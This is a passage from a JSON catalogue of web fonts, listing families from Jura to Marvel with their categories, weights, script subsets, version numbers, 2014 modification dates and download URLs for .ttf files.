   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "300": "http://fonts.gstatic.com/s/jura/v7/Rqx_xy1UnN0C7wD3FUSyPQ.ttf",
    "regular": "http://fonts.gstatic.com/s/jura/v7/YAWMwF3sN0KCbynMq-Yr_Q.ttf",
    "500": "http://fonts.gstatic.com/s/jura/v7/16xhfjHCiaLj3tsqqgmtGg.ttf",
    "600": "http://fonts.gstatic.com/s/jura/v7/iwseduOwJSdY8wQ1Y6CJdA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Just Another Hand",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/justanotherhand/v7/fKV8XYuRNNagXr38eqbRf99BnJIEGrvoojniP57E51c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Just Me Again Down Here",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/justmeagaindownhere/v8/sN06iTc9ITubLTgXoG-kc3M9eVLpVTSK6TqZTIgBrWQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Kalam",
   "category": "handwriting",
   "variants": [
    "300",
    "regular",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "devanagari"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "300": "http://fonts.gstatic.com/s/kalam/v6/MgQQlk1SgPEHdlkWMNh7Jg.ttf",
    "regular": "http://fonts.gstatic.com/s/kalam/v6/hNEJkp2K-aql7e5WQish4Q.ttf",
    "700": "http://fonts.gstatic.com/s/kalam/v6/95nLItUGyWtNLZjSckluLQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Kameron",
   "category": "serif",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/kameron/v7/9r8HYhqDSwcq9WMjupL82A.ttf",
    "700": "http://fonts.gstatic.com/s/kameron/v7/rabVVbzlflqvmXJUFlKnu_esZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Kantumruy",
   "category": "sans-serif",
   "variants": [
    "300",
    "regular",
    "700"
   ],
   "subsets": [
    "khmer"
   ],
   "version": "v3",
   "lastModified": "2014-08-28",
   "files": {
    "300": "http://fonts.gstatic.com/s/kantumruy/v3/ERRwQE0WG5uanaZWmOFXNi3USBnSvpkopQaUR-2r7iU.ttf",
    "regular": "http://fonts.gstatic.com/s/kantumruy/v3/kQfXNYElQxr5dS8FyjD39Q.ttf",
    "700": "http://fonts.gstatic.com/s/kantumruy/v3/gie_zErpGf_rNzs920C2Ji3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Karla",
   "category": "sans-serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-10-07",
   "files": {
    "regular": "http://fonts.gstatic.com/s/karla/v5/78UgGRwJFkhqaoFimqoKpQ.ttf",
    "italic": "http://fonts.gstatic.com/s/karla/v5/51UBKly9RQOnOkj95ZwEFw.ttf",
    "700": "http://fonts.gstatic.com/s/karla/v5/JS501sZLxZ4zraLQdncOUA.ttf",
    "700italic": "http://fonts.gstatic.com/s/karla/v5/3YDyi09gQjCRh-5-SVhTTvesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Karma",
   "category": "serif",
   "variants": [
    "300",
    "regular",
    "500",
    "600",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "devanagari"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "300": "http://fonts.gstatic.com/s/karma/v5/lH6ijJnguWR2Sz7tEl6MQQ.ttf",
    "regular": "http://fonts.gstatic.com/s/karma/v5/wvqTxAGBUrTqU0urTEoPIw.ttf",
    "500": "http://fonts.gstatic.com/s/karma/v5/9YGjxi6Hcvz2Kh-rzO_cAw.ttf",
    "600": "http://fonts.gstatic.com/s/karma/v5/h_CVzXXtqSxjfS2sIwaejA.ttf",
    "700": "http://fonts.gstatic.com/s/karma/v5/smuSM08oApsQPPVYbHd1CA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Kaushan Script",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/kaushanscript/v4/qx1LSqts-NtiKcLw4N03IBnpV0hQCek3EmWnCPrvGRM.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Kavoon",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/kavoon/v4/382m-6baKXqJFQjEgobt6Q.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Kdam Thmor",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "khmer"
   ],
   "version": "v3",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/kdamthmor/v3/otCdP6UU-VBIrBfVDWBQJ_esZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Keania One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/keaniaone/v4/PACrDKZWngXzgo-ucl6buvesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Kelly Slab",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "cyrillic"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/kellyslab/v6/F_2oS1e9XdYx1MAi8XEVefesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Kenia",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/kenia/v8/OLM9-XfITK9PsTLKbGBrwg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Khand",
   "category": "sans-serif",
   "variants": [
    "300",
    "regular",
    "500",
    "600",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "devanagari"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "300": "http://fonts.gstatic.com/s/khand/v4/072zRl4OU9Pinjjkg174LA.ttf",
    "regular": "http://fonts.gstatic.com/s/khand/v4/HdLdTNFqNIDGJZl1ZEj84w.ttf",
    "500": "http://fonts.gstatic.com/s/khand/v4/46_p-SqtuMe56nxQdteWxg.ttf",
    "600": "http://fonts.gstatic.com/s/khand/v4/zggGWYIiPJyMTgkfxP_kaA.ttf",
    "700": "http://fonts.gstatic.com/s/khand/v4/0I0UWaN-X5QBmfexpXKhqg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Khmer",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "khmer"
   ],
   "version": "v9",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/khmer/v9/vWaBJIbaQuBNz02ALIKJ3A.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Kite One",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/kiteone/v4/8ojWmgUc97m0f_i6sTqLoQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Knewave",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/knewave/v5/KGHM4XWr4iKnBMqzZLkPBg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Kotta One",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/kottaone/v4/AB2Q7hVw6niJYDgLvFXu5w.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Koulen",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "khmer"
   ],
   "version": "v10",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/koulen/v10/AAYOK8RSRO7FTskTzFuzNw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Kranky",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/kranky/v6/C8dxxTS99-fZ84vWk8SDrg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Kreon",
   "category": "serif",
   "variants": [
    "300",
    "regular",
    "700"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v9",
   "lastModified": "2014-08-28",
   "files": {
    "300": "http://fonts.gstatic.com/s/kreon/v9/HKtJRiq5C2zbq5N1IX32sA.ttf",
    "regular": "http://fonts.gstatic.com/s/kreon/v9/zA_IZt0u0S3cvHJu-n1oEg.ttf",
    "700": "http://fonts.gstatic.com/s/kreon/v9/jh0dSmaPodjxISiblIUTkw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Kristi",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/kristi/v7/aRsgBQrkQkMlu4UPSnJyOQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Krona One",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/kronaone/v4/zcQj4ljqTo166AdourlF9w.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "La Belle Aurore",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/labelleaurore/v6/Irdbc4ASuUoWDjd_Wc3md123K2iuuhwZgaKapkyRTY8.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Laila",
   "category": "serif",
   "variants": [
    "300",
    "regular",
    "500",
    "600",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "devanagari"
   ],
   "version": "v1",
   "lastModified": "2014-08-27",
   "files": {
    "300": "http://fonts.gstatic.com/s/laila/v1/bLbIVEZF3IWSZ-in72GJvA.ttf",
    "regular": "http://fonts.gstatic.com/s/laila/v1/6iYor3edprH7360qtBGoag.ttf",
    "500": "http://fonts.gstatic.com/s/laila/v1/tkf8VtFvW9g3VsxQCA6WOQ.ttf",
    "600": "http://fonts.gstatic.com/s/laila/v1/3EMP2L6JRQ4GaHIxCldCeA.ttf",
    "700": "http://fonts.gstatic.com/s/laila/v1/R7P4z1xjcjecmjZ9GyhqHQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Lancelot",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/lancelot/v5/XMT7T_oo_MQUGAnU2v-sdA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Lato",
   "category": "sans-serif",
   "variants": [
    "100",
    "100italic",
    "300",
    "300italic",
    "regular",
    "italic",
    "700",
    "700italic",
    "900",
    "900italic"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v11",
   "lastModified": "2014-10-07",
   "files": {
    "100": "http://fonts.gstatic.com/s/lato/v11/Upp-ka9rLQmHYCsFgwL-eg.ttf",
    "100italic": "http://fonts.gstatic.com/s/lato/v11/zLegi10uS_9-fnUDISl0KA.ttf",
    "300": "http://fonts.gstatic.com/s/lato/v11/Ja02qOppOVq9jeRjWekbHg.ttf",
    "300italic": "http://fonts.gstatic.com/s/lato/v11/dVebFcn7EV7wAKwgYestUg.ttf",
    "regular": "http://fonts.gstatic.com/s/lato/v11/h7rISIcQapZBpei-sXwIwg.ttf",
    "italic": "http://fonts.gstatic.com/s/lato/v11/P_dJOFJylV3A870UIOtr0w.ttf",
    "700": "http://fonts.gstatic.com/s/lato/v11/iX_QxBBZLhNj5JHlTzHQzg.ttf",
    "700italic": "http://fonts.gstatic.com/s/lato/v11/WFcZakHrrCKeUJxHA4T_gw.ttf",
    "900": "http://fonts.gstatic.com/s/lato/v11/8TPEV6NbYWZlNsXjbYVv7w.ttf",
    "900italic": "http://fonts.gstatic.com/s/lato/v11/draWperrI7n2xi35Cl08fA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "League Script",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/leaguescript/v7/wnRFLvfabWK_DauqppD6vSeUSrabuTpOsMEiRLtKwk0.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Leckerli One",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/leckerlione/v7/S2Y_iLrItTu8kIJTkS7DrC3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Ledger",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "cyrillic"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/ledger/v4/G432jp-tahOfWHbCYkI0jw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Lekton",
   "category": "sans-serif",
   "variants": [
    "regular",
    "italic",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/lekton/v7/r483JYmxf5PjIm4jVAm8Yg.ttf",
    "italic": "http://fonts.gstatic.com/s/lekton/v7/_UbDIPBA1wDqSbhp-OED7A.ttf",
    "700": "http://fonts.gstatic.com/s/lekton/v7/WZw-uL8WTkx3SBVfTlevXQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Lemon",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/lemon/v5/wed1nNu4LNSu-3RoRVUhUw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Libre Baskerville",
   "category": "serif",
   "variants": [
    "regular",
    "italic",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-10-07",
   "files": {
    "regular": "http://fonts.gstatic.com/s/librebaskerville/v4/pR0sBQVcY0JZc_ciXjFsKyyZRYCSvpCzQKuMWnP5NDY.ttf",
    "italic": "http://fonts.gstatic.com/s/librebaskerville/v4/QHIOz1iKF3bIEzRdDFaf5QnhapNS5Oi8FPrBRDLbsW4.ttf",
    "700": "http://fonts.gstatic.com/s/librebaskerville/v4/kH7K4InNTm7mmOXXjrA5v-xuswJKUVpBRfYFpz0W3Iw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Life Savers",
   "category": "display",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/lifesavers/v6/g49cUDk4Y1P0G5NMkMAm7qCWcynf_cDxXwCLxiixG1c.ttf",
    "700": "http://fonts.gstatic.com/s/lifesavers/v6/THQKqChyYUm97rNPVFdGGXe1Pd76Vl7zRpE7NLJQ7XU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Lilita One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/lilitaone/v4/vTxJQjbNV6BCBHx8sGDCVvesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Lily Script One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/lilyscriptone/v4/uPWsLVW8uiXqIBnE8ZwGPDjVlsJB_M_Q_LtZxsoxvlw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Limelight",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/limelight/v7/5dTfN6igsXjLjOy8QQShcg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Linden Hill",
   "category": "serif",
   "variants": [
    "regular",
    "italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/lindenhill/v6/UgsC0txqd-E1yjvjutwm_KCWcynf_cDxXwCLxiixG1c.ttf",
    "italic": "http://fonts.gstatic.com/s/lindenhill/v6/OcS3bZcu8vJvIDH8Zic83keOrDcLawS7-ssYqLr2Xp4.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Lobster",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "cyrillic"
   ],
   "version": "v11",
   "lastModified": "2014-10-21",
   "files": {
    "regular": "http://fonts.gstatic.com/s/lobster/v11/9LpJGtNuM1D8FAZ2BkJH2Q.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Lobster Two",
   "category": "display",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/lobstertwo/v7/xb9aY4w9ceh8JRzobID1naCWcynf_cDxXwCLxiixG1c.ttf",
    "italic": "http://fonts.gstatic.com/s/lobstertwo/v7/Ul_16MSbfayQv1I4QhLEoEeOrDcLawS7-ssYqLr2Xp4.ttf",
    "700": "http://fonts.gstatic.com/s/lobstertwo/v7/bmdxOflBqMqjEC0-kGsIiHe1Pd76Vl7zRpE7NLJQ7XU.ttf",
    "700italic": "http://fonts.gstatic.com/s/lobstertwo/v7/LEkN2_no_6kFvRfiBZ8xpM_zJjSACmk0BRPxQqhnNLU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Londrina Outline",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/londrinaoutline/v5/lls08GOa1eT74p072l1AWJmp8DTZ6iHear7UV05iykg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Londrina Shadow",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/londrinashadow/v4/dNYuzPS_7eYgXFJBzMoKdbw6Z3rVA5KDSi7aQxS92Nk.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Londrina Sketch",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/londrinasketch/v4/p7Ai06aT1Ycp_D2fyE3z69d6z_uhFGnpCOifUY1fJQo.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Londrina Solid",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/londrinasolid/v4/yysorIEiYSBb0ylZjg791MR125CwGqh8XBqkBzea0LA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Lora",
   "category": "serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "cyrillic"
   ],
   "version": "v9",
   "lastModified": "2014-10-07",
   "files": {
    "regular": "http://fonts.gstatic.com/s/lora/v9/aXJ7KVIGcejEy1abawZazg.ttf",
    "italic": "http://fonts.gstatic.com/s/lora/v9/AN2EZaj2tFRpyveuNn9BOg.ttf",
    "700": "http://fonts.gstatic.com/s/lora/v9/enKND5SfzQKkggBA_VnT1A.ttf",
    "700italic": "http://fonts.gstatic.com/s/lora/v9/ivs9j3kYU65pR9QD9YFdzQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Love Ya Like A Sister",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/loveyalikeasister/v7/LzkxWS-af0Br2Sk_YgSJY-ad1xEP8DQfgfY8MH9aBUg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Loved by the King",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/lovedbytheking/v6/wg03xD4cWigj4YDufLBSr8io2AFEwwMpu7y5KyiyAJc.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Lovers Quarrel",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/loversquarrel/v4/gipdZ8b7pKb89MzQLAtJHLHLxci2ElvNEmOB303HLk0.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Luckiest Guy",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/luckiestguy/v6/5718gH8nDy3hFVihOpkY5C3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Lusitana",
   "category": "serif",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/lusitana/v4/l1h9VDomkwbdzbPdmLcUIw.ttf",
    "700": "http://fonts.gstatic.com/s/lusitana/v4/GWtZyUsONxgkdl3Mc1P7FKCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Lustria",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/lustria/v4/gXAk0s4ai0X-TAOhYzZd1w.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Macondo",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/macondo/v5/G6yPNUscRPQ8ufBXs_8yRQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Macondo Swash Caps",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/macondoswashcaps/v4/SsSR706z-MlvEH7_LS6JAPkkgYRHs6GSG949m-K6x2k.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Magra",
   "category": "sans-serif",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/magra/v4/hoZ13bwCXBxuGZqAudgc5A.ttf",
    "700": "http://fonts.gstatic.com/s/magra/v4/6fOM5sq5cIn8D0RjX8Lztw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Maiden Orange",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/maidenorange/v6/ZhKIA2SPisEwdhW7g0RUWojjx0o0jr6fNXxPgYh_a8Q.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Mako",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/mako/v7/z5zSLmfPlv1uTVAdmJBLXg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Mallanna",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin",
    "telugu"
   ],
   "version": "v4",
   "lastModified": "2014-12-10",
   "files": {
    "regular": "http://fonts.gstatic.com/s/mallanna/v4/krCTa-CfMbtxqF0689CbuQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Mandali",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin",
    "telugu"
   ],
   "version": "v4",
   "lastModified": "2014-12-10",
   "files": {
    "regular": "http://fonts.gstatic.com/s/mandali/v4/0lF8yJ7fkyjXuqtSi5bWbQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Marcellus",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/marcellus/v4/UjiLZzumxWC9whJ86UtaYw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Marcellus SC",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/marcellussc/v4/_jugwxhkkynrvsfrxVx8gS3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Marck Script",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "cyrillic"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/marckscript/v7/O_D1NAZVOFOobLbVtW3bci3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Margarine",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/margarine/v5/DJnJwIrcO_cGkjSzY3MERw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Marko One",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/markoone/v6/hpP7j861sOAco43iDc4n4w.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Marmelad",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "cyrillic"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/marmelad/v6/jI0_FBlSOIRLL0ePWOhOwQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Marvel",
   "category": "sans-serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
